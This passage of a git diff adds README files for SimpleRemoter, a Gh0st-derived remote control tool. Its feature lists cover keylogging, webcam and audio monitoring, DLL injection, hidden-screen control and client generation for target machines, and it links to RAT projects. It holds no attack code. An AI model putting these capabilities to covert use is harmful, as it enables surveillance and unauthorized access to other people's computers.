|
||||
```bash
|
||||
# 1. 克隆代码(必须使用 git clone,不要下载 zip)
|
||||
git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
|
||||
|
||||
# 2. 打开解决方案
|
||||
# 使用 VS2019+ 打开 SimpleRemoter.sln
|
||||
|
||||
# 3. 选择配置
|
||||
# Release | x86 或 Release | x64
|
||||
|
||||
# 4. 编译
|
||||
# 生成 -> 生成解决方案
|
||||
```
|
||||
|
||||
**常见问题**:
|
||||
- 依赖库冲突:[#269](https://github.com/yuanyuanxiang/SimpleRemoter/issues/269)
|
||||
- 非中文系统乱码:[#157](https://github.com/yuanyuanxiang/SimpleRemoter/issues/157)
|
||||
- 编译器兼容性:[#171](https://github.com/yuanyuanxiang/SimpleRemoter/issues/171)
|
||||
|
||||
### 部署方式
|
||||
|
||||
#### 内网部署
|
||||
|
||||
主控与客户端在同一局域网,客户端直连主控 IP:Port。
|
||||
|
||||
#### 外网部署(FRP 穿透)
|
||||
|
||||
```
|
||||
客户端 ──> VPS (FRP Server) ──> 本地主控 (FRP Client)
|
||||
```
|
||||
|
||||
详细配置请参考:[反向代理部署说明](./反向代理.md)
|
||||
|
||||
### 授权说明
|
||||
|
||||
自 v1.2.4 起提供试用口令(2 年有效期,20 并发连接,仅限内网):
|
||||
|
||||
```
|
||||
授权方式:按计算机 IP 绑定
|
||||
主控 IP:127.0.0.1
|
||||
序列号:12ca-17b4-9af2-2894
|
||||
密码:20260201-20280201-0020-be94-120d-20f9-919a
|
||||
验证码:6015188620429852704
|
||||
有效期:2026-02-01 至 2028-02-01
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> **多层授权方案**
|
||||
>
|
||||
> SimpleRemoter 采用企业级多层授权架构,支持代理商/开发者独立运营:
|
||||
> - **离线验证**:第一层用户获得授权后可完全离线使用
|
||||
> - **独立控制**:您的下级用户只连接到您的服务器,数据完全由您掌控
|
||||
> - **自由定制**:支持二次开发,打造您的专属版本
|
||||
>
|
||||
> 📖 **[查看完整授权方案说明](./docs/MultiLayerLicense.md)**
|
||||
|
||||
---
|
||||
|
||||
## 用户文档
|
||||
|
||||
针对不同用户角色提供完整的使用文档:
|
||||
|
||||
| 文档 | 适用对象 | 内容简介 |
|
||||
|------|---------|---------|
|
||||
| 📖 [快速部署指南](./docs/QuickStart.md) | 首次使用者 | 10 分钟完成首次部署,导入授权、配置网络、生成受管程序 |
|
||||
| 📖 [多级网络搭建指南](./docs/NetworkSetup.md) | 需要管理下级的用户 | 构建总控→二级→受管端的多级网络架构 |
|
||||
| 📖 [日常使用手册](./docs/UserManual.md) | 所有用户 | 远程桌面、文件管理、终端、进程管理等功能详解 |
|
||||
| 📖 [代理商运营手册](./docs/AgentManual.md) | 代理商/分销商 | 下级授权管理、FRP 代理服务配置 |
|
||||
| 📖 [定制化开发指南](./docs/CustomizationGuide.md) | 技术型客户 | 品牌定制、界面修改、二次开发 |
|
||||
| 📖 [Web 远程桌面配置](./docs/WebHTTPS.md) | 移动端用户 | 通过浏览器访问远程桌面,支持手机/平板 |
|
||||
|
||||
---
|
||||
|
||||
## 客户端支持
|
||||
|
||||
### Windows 客户端
|
||||
|
||||
**系统要求**:Windows 7 SP1 及以上
|
||||
|
||||
**功能完整性**:✅ 全部功能支持
|
||||
|
||||
### Linux 客户端(v1.2.5+)
|
||||
|
||||
**系统要求**:
|
||||
- 显示服务器:X11/Xorg(暂不支持 Wayland)
|
||||
- 必需库:libX11
|
||||
- 推荐库:libXtst(XTest 扩展)、libXss(空闲检测)
|
||||
|
||||
**功能支持**:
|
||||
|
||||
| 功能 | 状态 | 实现 |
|
||||
|------|------|------|
|
||||
| 远程桌面 | ✅ | X11 屏幕捕获,鼠标/键盘控制 |
|
||||
| 远程终端 | ✅ | PTY 交互式 Shell |
|
||||
| 文件管理 | ✅ | 双向传输,大文件支持 |
|
||||
| 进程管理 | ✅ | 进程列表、终止进程 |
|
||||
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
||||
| 守护进程 | ✅ | 双 fork 守护化 |
|
||||
| 剪贴板 | ⏳ | 开发中 |
|
||||
| 会话管理 | ⏳ | 开发中 |
|
||||
|
||||
**编译方式**:
|
||||
|
||||
```bash
|
||||
cd linux
|
||||
cmake .
|
||||
make
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 更新日志
|
||||
|
||||
### v1.3.1 (2026.4.15)
|
||||
|
||||
**Web 远程桌面 & 多主控共享增强**
|
||||
|
||||
**新功能:**
|
||||
- Web 远程桌面:基于 WebSocket 实现,支持手机/平板通过浏览器访问远程桌面([配置指南](./docs/WebHTTPS.md))
|
||||
- 撤销共享菜单:支持撤销已共享给其他主控的客户端
|
||||
- 工具栏音频控制:远程桌面工具栏新增系统音频开关图标
|
||||
|
||||
**改进:**
|
||||
- 多显示器禁用自适应:客户端有多个显示器时自动禁用自适应质量
|
||||
- 状态栏过期日期自动更新:授权续期后状态栏立即刷新
|
||||
- 减少无效离线日志:客户端不在主机列表时减少离线日志输出
|
||||
- 多层授权自动更新:第二层及以下主控的授权自动同步更新
|
||||
- 使用提示增强:新增多处操作提示改善用户体验
|
||||
- DLL 缓存复用:将 DLL 保存到注册表,下次启动时直接复用
|
||||
|
||||
**Bug 修复:**
|
||||
- 修复共享客户端时键盘记录可能无法正常工作的问题
|
||||
|
||||
### v1.3.0 (2026.4.8)
|
||||
|
||||
**多层级 FRP 架构 & 品牌定制**
|
||||
|
||||
**新功能:**
|
||||
- 本地 FRPS 服务器支持(仅 64 位):内置 FRP 服务端,简化部署
|
||||
- 多层级架构自动 FRP 集成:下级主控自动获取上级 FRP 配置
|
||||
- V2 授权下级连接数限制:支持控制下级并发连接数
|
||||
- 许可证文件导入/导出支持(.lic 格式)
|
||||
- 过期授权续期支持:无需重新生成许可证
|
||||
- 增强型硬件 ID (V2):解决 VPS 重复 SN 问题
|
||||
- MaxDepth 控制:限制分级 Master 层级深度
|
||||
- 许可证管理增强:配额支持、动态对话框、删除功能
|
||||
- IP 定位 API 多提供商回退:提高定位成功率
|
||||
- UI 品牌定制:支持自定义程序名称、Logo、版权等
|
||||
- 运行时功能限制:试用版功能限制可配置
|
||||
- 输入历史下拉框:快速选择历史输入
|
||||
- 生成客户端新增选项:更多自定义配置
|
||||
- 支持动态修改项目链接:无需重新编译更换帮助/反馈链接
|
||||
|
||||
**Bug 修复:**
|
||||
- 修复 RebuildFilteredIndices 的 Use-after-free 崩溃
|
||||
- 修复 CLock::Lock 中 IOCP 竞态条件崩溃 (#215)
|
||||
- 修复崩溃保护服务清理和代理提升问题
|
||||
- 修复消息日志无限增长导致的潜在崩溃
|
||||
- 修复 FeatureFlags 引入后 UpperHash 字符串长度问题
|
||||
- 修复客户端 SN 生成以支持 HWIDVersion 设置
|
||||
|
||||
**改进:**
|
||||
- 重构 res/ 目录结构,添加菜单图标
|
||||
- 过期密码不再被自动清除
|
||||
- 保持下级主控与第一层主控的连接稳定
|
||||
|
||||
### v1.0.2.9 (2026.3.27)
|
||||
|
||||
**网络安全 & 稳定性增强**
|
||||
|
||||
**新功能:**
|
||||
- 网络配置对话框:IP 白名单/黑名单管理,实时生效
|
||||
- 可配置的连接限流:DLL 请求限流、IP 封禁阈值可调
|
||||
- IP 历史记录对话框:查看授权 IP 登录历史
|
||||
- 状态栏显示 MTBF/运行时间和授权到期日期
|
||||
- 代理崩溃保护:5 分钟内 3 次崩溃自动切换普通模式
|
||||
- 客户端搜索功能:Ctrl+F 快速搜索 IP、位置、计算机名
|
||||
- 自动封禁异常 IP:60 秒内超过 15 次连接自动封禁 1 小时
|
||||
- Proxy Protocol v2 支持:FRP 代理后获取真实客户端 IP
|
||||
- Linux 剪贴板同步和 V2 文件传输支持
|
||||
- 右键菜单运行客户端程序
|
||||
- 多层授权混淆支持
|
||||
|
||||
**Bug 修复:**
|
||||
- 修复 OnUserOfflineMsg 竞态条件导致的崩溃
|
||||
- 修复客户端请求 FRPC DLL 时 FrpcParam 丢失
|
||||
- 最大数据包从 10MB 增加到 50MB
|
||||
- 支持 mstsc 远程会话读取用户注册表
|
||||
- 修复远程桌面最小化时剪贴板误触发
|
||||
- 修复操作进程对话框时主控崩溃
|
||||
- 状态栏主机数量实时更新
|
||||
- Linux select() 调用前重置 timeval
|
||||
- 授权码格式验证,过滤垃圾数据
|
||||
|
||||
**改进:**
|
||||
- 增强授权检查,添加 IP 封禁提示
|
||||
- 支持主控程序以用户权限运行
|
||||
- 大 DLL 自动使用 TinyRun 回退方案
|
||||
|
||||
### v1.2.8 (2026.3.11)
|
||||
|
||||
**邮件通知 & 远程音频**
|
||||
|
||||
- 主机上线邮件通知(SMTP 配置、关键词匹配、右键快捷添加)
|
||||
- 远程音频播放(WASAPI Loopback)+ Opus 压缩(24:1)
|
||||
- 多 FRPS 服务器同时连接支持
|
||||
- 自定义光标显示和追踪
|
||||
- V2 授权协议(ECDSA 签名)
|
||||
- 修复非中文 Windows 系统乱码问题
|
||||
- Linux 客户端屏幕压缩算法优化
|
||||
|
||||
### v1.2.7 (2026.2.28)
|
||||
|
||||
**V2 文件传输协议**
|
||||
|
||||
- 支持 C2C(客户端到客户端)直接传输
|
||||
- 断点续传和大文件支持(>4GB)
|
||||
- SHA-256 文件完整性校验
|
||||
- WebView2 + xterm.js 现代终端
|
||||
- Linux 文件管理支持
|
||||
- 主机列表批量更新优化,减少 UI 闪烁
|
||||
|
||||
### v1.2.6 (2026.2.16)
|
||||
|
||||
**远程桌面工具栏重写**
|
||||
|
||||
- 状态窗口显示 RTT、帧率、分辨率
|
||||
- 全屏工具栏支持 4 个位置和多显示器
|
||||
- H.264 带宽优化
|
||||
- 授权管理 UI 完善
|
||||
|
||||
### v1.2.5 (2026.2.11)
|
||||
|
||||
**自适应质量控制 & Linux 客户端**
|
||||
|
||||
- 基于 RTT 的智能质量调整
|
||||
- RGB565 算法(节省 50% 带宽)
|
||||
- 滚动检测优化(节省 50-80% 带宽)
|
||||
- Linux 客户端初版发布
|
||||
|
||||
完整更新历史请查看:[history.md](./history.md)
|
||||
|
||||
---
|
||||
|
||||
## 相关项目
|
||||
|
||||
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文界面远程控制
|
||||
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - 大灰狼 9.5
|
||||
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 经典 Gh0st 实现
|
||||
|
||||
---
|
||||
|
||||
## 联系方式
|
||||
|
||||
| 渠道 | 链接 |
|
||||
|------|------|
|
||||
| **QQ** | 962914132 |
|
||||
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
|
||||
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
|
||||
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
|
||||
| **Issues** | [问题反馈](https://github.com/yuanyuanxiang/SimpleRemoter/issues) |
|
||||
| **PR** | [贡献代码](https://github.com/yuanyuanxiang/SimpleRemoter/pulls) |
|
||||
|
||||
### 赞助支持
|
||||
|
||||
本项目源于技术学习与兴趣爱好,作者将根据业余时间不定期更新。如果本项目对您有所帮助,欢迎赞助支持:
|
||||
|
||||
[](https://github.com/yuanyuanxiang/yuanyuanxiang/blob/main/images/QR_Codes.jpg)
|
||||
|
||||
---
|
||||
|
||||
<p align="center">
|
||||
<sub>如果您喜欢这个项目,请给它一个 ⭐ Star!</sub>
|
||||
</p>
|
||||
641
ReadMe_EN.md
Normal file
641
ReadMe_EN.md
Normal file
@@ -0,0 +1,641 @@
|
||||
# SimpleRemoter
|
||||
|
||||
**[简体中文](./ReadMe.md) | [繁體中文](./ReadMe_TW.md) | [English](./ReadMe_EN.md)**
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/stargazers">
|
||||
<img src="https://img.shields.io/github/stars/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Stars">
|
||||
</a>
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
||||
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
||||
</a>
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
||||
</a>
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
|
||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||
<img src="https://img.shields.io/badge/Download-Latest%20Release-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
> [!WARNING]
|
||||
> **Important Legal Notice**
|
||||
>
|
||||
> This software is intended **solely for educational purposes and authorized use cases** such as:
|
||||
> - Remote IT administration within your own organization
|
||||
> - Authorized penetration testing and security research
|
||||
> - Personal device management and technical learning
|
||||
>
|
||||
> **Unauthorized access to computer systems is illegal.** Users are fully responsible for compliance with all applicable laws. The developers assume no liability for misuse.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Overview](#overview)
|
||||
- [Disclaimer](#disclaimer)
|
||||
- [Features](#features)
|
||||
- [Technical Highlights](#technical-highlights)
|
||||
- [Architecture](#architecture)
|
||||
- [Getting Started](#getting-started)
|
||||
- [Client Support](#client-support)
|
||||
- [Changelog](#changelog)
|
||||
- [Related Projects](#related-projects)
|
||||
- [Contact](#contact)
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
**SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting both **Windows and Linux** platforms.
|
||||
|
||||
### Core Capabilities
|
||||
|
||||
| Category | Features |
|
||||
|----------|----------|
|
||||
| **Remote Desktop** | Real-time screen control, multi-monitor support, H.264 encoding, adaptive quality |
|
||||
| **File Management** | Bi-directional transfer, resumable uploads, C2C transfer, SHA-256 verification |
|
||||
| **Terminal** | Interactive shell, ConPTY/PTY support, modern web terminal |
|
||||
| **System Management** | Process/service/window management, registry browsing, session control |
|
||||
| **Media Capture** | Webcam monitoring, audio listening, keylogging |
|
||||
| **Networking** | SOCKS proxy, FRP tunneling, port forwarding |
|
||||
|
||||
### Use Cases
|
||||
|
||||
- **Enterprise IT Operations**: Batch management of intranet devices, remote troubleshooting
|
||||
- **Remote Work**: Secure access to office computers, file synchronization
|
||||
- **Security Research**: Penetration testing, red team exercises, security audits
|
||||
- **Technical Learning**: Network programming, IOCP model, encrypted transmission practice
|
||||
|
||||
**Original Source:** [zibility/Remote](https://github.com/zibility/Remote) | **Started:** 2019.1.1
|
||||
|
||||
[](https://star-history.com/#yuanyuanxiang/SimpleRemoter&Date)
|
||||
|
||||
---
|
||||
|
||||
## Disclaimer
|
||||
|
||||
**Please read the following statement carefully before using this software:**
|
||||
|
||||
1. **Lawful Use**: This project is intended solely for legitimate technical research, educational exchange, and authorized remote management. It is strictly prohibited to use this software for unauthorized access to others' computer systems, data theft, privacy surveillance, or any other illegal activities.
|
||||
|
||||
2. **User Responsibility**: Users must comply with the laws and regulations of their country/region. Any legal liability arising from the use of this software shall be borne by the user.
|
||||
|
||||
3. **No Warranty**: This software is provided "as is" without any express or implied warranties, including but not limited to warranties of merchantability or fitness for a particular purpose.
|
||||
|
||||
4. **Limitation of Liability**: The developers shall not be liable for any direct, indirect, incidental, special, or consequential damages arising from the use, misuse, or inability to use this software.
|
||||
|
||||
5. **Copyright Notice**: This project is open-sourced under the MIT License, allowing free use, modification, and distribution, provided that the original copyright notice is retained.
|
||||
|
||||
**By continuing to use this software, you acknowledge that you have read, understood, and agreed to all the above terms.**
|
||||
|
||||
> [!IMPORTANT]
|
||||
> **Network Connection & Privacy Notice**
|
||||
>
|
||||
> The master program (server) communicates with the authorization server based on license status:
|
||||
>
|
||||
> | License Type | Connection Behavior |
|
||||
> |--------------|---------------------|
|
||||
> | Trial Version | Maintains persistent connection to authorization server |
|
||||
> | V1/V2 Licensed | Connects at startup for verification, disconnects after |
|
||||
> | V2 Offline License | No connection to authorization server required |
|
||||
>
|
||||
> Unless offline authorization is obtained, the master program will exchange necessary data with the authorization server (e.g., detecting cracking attempts, validating license status).
|
||||
>
|
||||
> **By using this software, you accept the data transmission between the master program and the authorization server. If you do not agree, please do not use this software.**
|
||||
|
||||
---
|
||||
|
||||
## Features
|
||||
|
||||
### Remote Desktop
|
||||
|
||||

|
||||
|
||||
- **Multiple Capture Methods**: GDI (high compatibility), DXGI (high performance), Virtual Desktop (background operation)
|
||||
- **Smart Compression Algorithms**:
|
||||
- DIFF algorithm - SSE2 optimized, transmits only changed regions
|
||||
- RGB565 algorithm - 50% bandwidth savings
|
||||
- H.264 encoding - Video-level compression for high frame rate scenarios
|
||||
- Grayscale mode - Minimal bandwidth consumption
|
||||
- **Adaptive Quality**: Automatically adjusts frame rate (5-30 FPS), resolution, and compression based on network RTT
|
||||
- **Multi-Monitor**: Support for screen switching and multi-screen wall display
|
||||
- **Privacy Screen**: Hide controlled screen, supports control during lock screen
|
||||
- **File Drag & Drop**: Ctrl+C/V cross-device copy and paste files
|
||||
- **Web Remote Desktop**: Access remote desktop via browser, supports mobile/tablet ([Configuration Guide](./docs/WebHTTPS.md))
|
||||
|
||||
### File Management
|
||||
|
||||

|
||||
|
||||
- **V2 Transfer Protocol**: Newly designed, supports large files (>4GB)
|
||||
- **Resumable Transfer**: Automatic recovery after network interruption, persistent state
|
||||
- **C2C Transfer**: Direct transfer between clients without going through master
|
||||
- **Integrity Verification**: SHA-256 hash verification ensures file integrity
|
||||
- **Batch Operations**: Supports file search, compression, batch transfer
|
||||
|
||||
### Terminal Management
|
||||
|
||||

|
||||
|
||||
- **Interactive Shell**: Full command line experience with Tab completion
|
||||
- **ConPTY Technology**: Native pseudo-terminal support for Windows 10+
|
||||
- **Modern Web Terminal**: Based on WebView2 + xterm.js (v1.2.7+)
|
||||
- **Terminal Resizing**: Adaptive window size
|
||||
|
||||
### Process & Window Management
|
||||
|
||||
| Process Management | Window Management |
|
||||
|-------------------|-------------------|
|
||||
|  |  |
|
||||
|
||||
- **Process Management**: View process list, CPU/memory usage, start/terminate processes
|
||||
- **Code Injection**: Inject DLL into target process (requires admin privileges)
|
||||
- **Window Control**: Maximize/minimize/hide/close windows
|
||||
|
||||
### Media Features
|
||||
|
||||
| Video Management | Audio Management |
|
||||
|-----------------|------------------|
|
||||
|  |  |
|
||||
|
||||
- **Webcam Monitoring**: Real-time video stream, adjustable resolution
|
||||
- **Audio Listening**: Remote sound capture, bi-directional voice support
|
||||
- **Keylogging**: Online/offline recording modes
|
||||
|
||||
### Other Features
|
||||
|
||||
- **Service Management**: View and control Windows services
|
||||
- **Registry Browsing**: Read-only browsing of registry contents
|
||||
- **Session Control**: Remote logout/shutdown/restart
|
||||
- **SOCKS Proxy**: Establish proxy tunnel through client
|
||||
- **FRP Tunneling**: Built-in FRP support for easy intranet penetration
|
||||
- **Code Execution**: Remote DLL execution with hot update support
|
||||
|
||||
---
|
||||
|
||||
## Technical Highlights
|
||||
|
||||
### High-Performance Network Architecture
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────┐
|
||||
│ IOCP Communication Model │
|
||||
├─────────────────────────────────────────────────────────┤
|
||||
│ • I/O Completion Ports: Most efficient async I/O on │
|
||||
│ Windows │
|
||||
│ • Single master supports 10,000+ concurrent connections │
|
||||
│ • Supports TCP / UDP / KCP transport protocols │
|
||||
│ • Auto-chunking for large packets (max 128KB send buf) │
|
||||
└─────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### Adaptive Quality Control
|
||||
|
||||
Intelligent quality adjustment system based on RTT (Round-Trip Time):
|
||||
|
||||
| RTT Latency | Quality Level | FPS | Resolution | Compression | Use Case |
|
||||
|-------------|---------------|-----|------------|-------------|----------|
|
||||
| < 30ms | Ultra | 25 FPS | Original | DIFF | LAN office |
|
||||
| 30-80ms | High | 20 FPS | Original | RGB565 | General office |
|
||||
| 80-150ms | Good | 20 FPS | ≤1080p | H.264 | Cross-network/Video |
|
||||
| 150-250ms | Medium | 15 FPS | ≤900p | H.264 | Cross-network office |
|
||||
| 250-400ms | Low | 12 FPS | ≤720p | H.264 | Poor network |
|
||||
| > 400ms | Minimal | 8 FPS | ≤540p | H.264 | Very poor network |
|
||||
|
||||
- **Zero Overhead**: Reuses heartbeat packets to calculate RTT
|
||||
- **Fast Downgrade**: Triggers after 2 detections, responds to network fluctuations
|
||||
- **Cautious Upgrade**: Quality improves only after 5 stable readings
|
||||
- **Cooldown Mechanism**: Prevents frequent switching
|
||||
|
||||
### V2 File Transfer Protocol
|
||||
|
||||
```cpp
|
||||
// 77-byte protocol header + filename + data payload
|
||||
struct FileChunkPacketV2 {
|
||||
uint8_t cmd; // COMMAND_SEND_FILE_V2 = 85
|
||||
uint64_t transferID; // Transfer session ID
|
||||
uint64_t srcClientID; // Source client ID (0=master)
|
||||
uint64_t dstClientID; // Destination client ID (0=master, C2C)
|
||||
uint32_t fileIndex; // File index (0-based)
|
||||
uint32_t totalFiles; // Total file count
|
||||
uint64_t fileSize; // File size (supports >4GB)
|
||||
uint64_t offset; // Current chunk offset
|
||||
uint64_t dataLength; // Current chunk data length
|
||||
uint64_t nameLength; // Filename length
|
||||
uint16_t flags; // Flags (FFV2_LAST_CHUNK, etc.)
|
||||
uint16_t checksum; // CRC16 checksum (optional)
|
||||
uint8_t reserved[8]; // Reserved for extension
|
||||
// char filename[nameLength]; // UTF-8 relative path
|
||||
// uint8_t data[dataLength]; // File data
|
||||
};
|
||||
```
|
||||
|
||||
**Features**:
|
||||
- Large file support (uint64_t breaks 4GB limit)
|
||||
- Resumable transfer (state persisted to `%TEMP%\FileTransfer\`)
|
||||
- SHA-256 integrity verification
|
||||
- C2C direct transfer (client to client)
|
||||
- V1/V2 protocol compatibility
|
||||
|
||||
### Screen Transmission Optimization
|
||||
|
||||
- **SSE2 Instructions**: Hardware-accelerated pixel difference calculation
|
||||
- **Multi-threaded Parallel**: Thread pool for chunked screen data processing
|
||||
- **Scroll Detection**: Identifies scrolling scenarios, reduces bandwidth by 50-80%
|
||||
- **H.264 Encoding**: Based on x264, GOP control, video-level compression
|
||||
|
||||
### Security Mechanisms
|
||||
|
||||
| Layer | Measures |
|
||||
|-------|----------|
|
||||
| **Transport Encryption** | AES-256 data encryption with configurable IV |
|
||||
| **Authentication** | Signature verification + HMAC authentication |
|
||||
| **Authorization Control** | Serial number binding (IP/domain), multi-level authorization |
|
||||
| **File Verification** | SHA-256 integrity verification |
|
||||
| **Session Isolation** | Session 0 independent handling |
|
||||
|
||||
### Dependencies
|
||||
|
||||
| Library | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| zlib | 1.3.1 | General compression |
|
||||
| zstd | 1.5.7 | High-speed compression |
|
||||
| x264 | 0.164 | H.264 encoding |
|
||||
| libyuv | 190 | YUV conversion |
|
||||
| HPSocket | 6.0.3 | Network I/O |
|
||||
| jsoncpp | 1.9.6 | JSON parsing |
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────────────────┐
|
||||
│ Multi-Layer Authorization Architecture │
|
||||
├─────────────────────────────────────────────────────────────────────────────┤
|
||||
│ │
|
||||
│ ┌─────────────────────┐ │
|
||||
│ │ Super Admin │ │
|
||||
│ │ (Authorization │ │
|
||||
│ │ Server) │ │
|
||||
│ └─────────┬───────────┘ │
|
||||
│ │ │
|
||||
│ ┌──────────────┼──────────────┐ │
|
||||
│ │ V2 License │ V2 License │ V2 License │
|
||||
│ │ (ECDSA) │ (ECDSA) │ (ECDSA) │
|
||||
│ ▼ ▼ ▼ │
|
||||
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
|
||||
│ │ Layer-1 A │ │ Layer-1 B │ │ Layer-1 C │ ◄── Independent │
|
||||
│ │ │ │ │ │ │ & Isolated │
|
||||
│ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ │
|
||||
│ │ │ │ │
|
||||
│ ┌────────┴────────┐ │ ┌──────┴──────┐ │
|
||||
│ │ V1 License │ │ │ V1 License │ │
|
||||
│ ▼ ▼ ▼ ▼ ▼ │
|
||||
│ ┌──────────┐ ┌──────────┐ ... ┌──────────┐ ┌──────────┐ │
|
||||
│ │ Sub A1 │ │ Sub A2 │ │ Sub C1 │ │ Sub C2 │ │
|
||||
│ │ Master │ │ Master │ │ Master │ │ Master │ │
|
||||
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
|
||||
│ │ │ │ │ │
|
||||
│ ▼ ▼ ▼ ▼ │
|
||||
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
|
||||
│ │ Clients │ │ Clients │ │ Clients │ │ Clients │ │
|
||||
│ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │
|
||||
│ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │
|
||||
│ │
|
||||
├─────────────────────────────────────────────────────────────────────────────┤
|
||||
│ License Type Verification Features │
|
||||
│ ───────────────────────────────────────────────────────────────────────── │
|
||||
│ V2 License ECDSA P-256 Signature Offline verify, connection limits │
|
||||
│ V1 License HMAC + Online Verify Connects to upstream server │
|
||||
│ Trial Online Verify Limited features, always connected │
|
||||
└─────────────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### Architecture Advantages
|
||||
|
||||
| Feature | Description |
|
||||
|---------|-------------|
|
||||
| **Hierarchical Control** | Super user manages any master, supports unlimited tiers |
|
||||
| **Complete Isolation** | Different Layer-1 users have isolated licenses, data, and clients |
|
||||
| **Independent Operation** | Layer-1 users can set pricing, issue licenses, build their brand |
|
||||
| **Horizontal Scaling** | Single master supports 10,000+ clients, multi-layer scales to millions |
|
||||
| **Offline Support** | V2 license supports full offline verification, no upstream dependency |
|
||||
|
||||
### Master Program (Server)
|
||||
|
||||
The master program **YAMA.exe** provides a graphical management interface:
|
||||
|
||||

|
||||
|
||||
- High-performance server based on IOCP
|
||||
- Client group management
|
||||
- Real-time status monitoring (RTT, geolocation, active window)
|
||||
- One-click client generation
|
||||
|
||||
### Controlled Program (Client)
|
||||
|
||||

|
||||
|
||||
**Runtime Forms**:
|
||||
|
||||
| Type | Description |
|
||||
|------|-------------|
|
||||
| `ghost.exe` | Standalone executable, no external dependencies |
|
||||
| `TestRun.exe` + `ServerDll.dll` | Separate loading, supports in-memory DLL loading |
|
||||
| Windows Service | Background operation, supports lock screen control |
|
||||
| Linux Client | Cross-platform support (v1.2.5+) |
|
||||
|
||||
---
|
||||
|
||||
## Getting Started
|
||||
|
||||
### 5-Minute Quick Start
|
||||
|
||||
No compilation required, download and run:
|
||||
|
||||
1. **Download Release** - Get the latest version from [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest)
|
||||
2. **Launch Master** - Run `YAMA.exe` and enter the license info (see trial license below)
|
||||
3. **Generate Client** - Click the "Generate" button in the toolbar, configure server IP and port
|
||||
4. **Deploy Client** - Copy the generated client to the target machine and run it
|
||||
5. **Start Control** - Once the client comes online, double-click to open remote desktop
|
||||
|
||||
> [!TIP]
|
||||
> For initial testing, run both master and client on the same machine using `127.0.0.1` as the server address.
|
||||
|
||||
### Build Requirements
|
||||
|
||||
- **Operating System**: Windows 10/11 or Windows Server 2016+
|
||||
- **Development Environment**: Visual Studio 2019 / 2022 / 2026
|
||||
- **SDK**: Windows 10 SDK (10.0.19041.0+)
|
||||
|
||||
### Build Steps
|
||||
|
||||
```bash
|
||||
# 1. Clone the repository (must use git clone, do not download as zip)
|
||||
git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
|
||||
|
||||
# 2. Open the solution
|
||||
# Open SimpleRemoter.sln with VS2019+
|
||||
|
||||
# 3. Select configuration
|
||||
# Release | x86 or Release | x64
|
||||
|
||||
# 4. Build
|
||||
# Build -> Build Solution
|
||||
```
|
||||
|
||||
**Common Issues**:
|
||||
- Dependency library conflicts: [#269](https://github.com/yuanyuanxiang/SimpleRemoter/issues/269)
|
||||
- Non-Chinese system garbled text: [#157](https://github.com/yuanyuanxiang/SimpleRemoter/issues/157)
|
||||
- Compiler compatibility: [#171](https://github.com/yuanyuanxiang/SimpleRemoter/issues/171)
|
||||
|
||||
### Deployment Methods
|
||||
|
||||
#### Intranet Deployment
|
||||
|
||||
Master and clients are on the same LAN, clients connect directly to master IP:Port.
|
||||
|
||||
#### Internet Deployment (FRP Tunneling)
|
||||
|
||||
```
|
||||
Client ──> VPS (FRP Server) ──> Local Master (FRP Client)
|
||||
```
|
||||
|
||||
For detailed configuration, please refer to: [Reverse Proxy Deployment Guide](./反向代理.md)
|
||||
|
||||
### Authorization
|
||||
|
||||
Starting from v1.2.4, a trial password is provided (2-year validity, 20 concurrent connections, intranet only):
|
||||
|
||||
```
|
||||
Authorization: Bound by computer IP
|
||||
Master IP: 127.0.0.1
|
||||
Serial: 12ca-17b4-9af2-2894
|
||||
Password: 20260201-20280201-0020-be94-120d-20f9-919a
|
||||
Verification: 6015188620429852704
|
||||
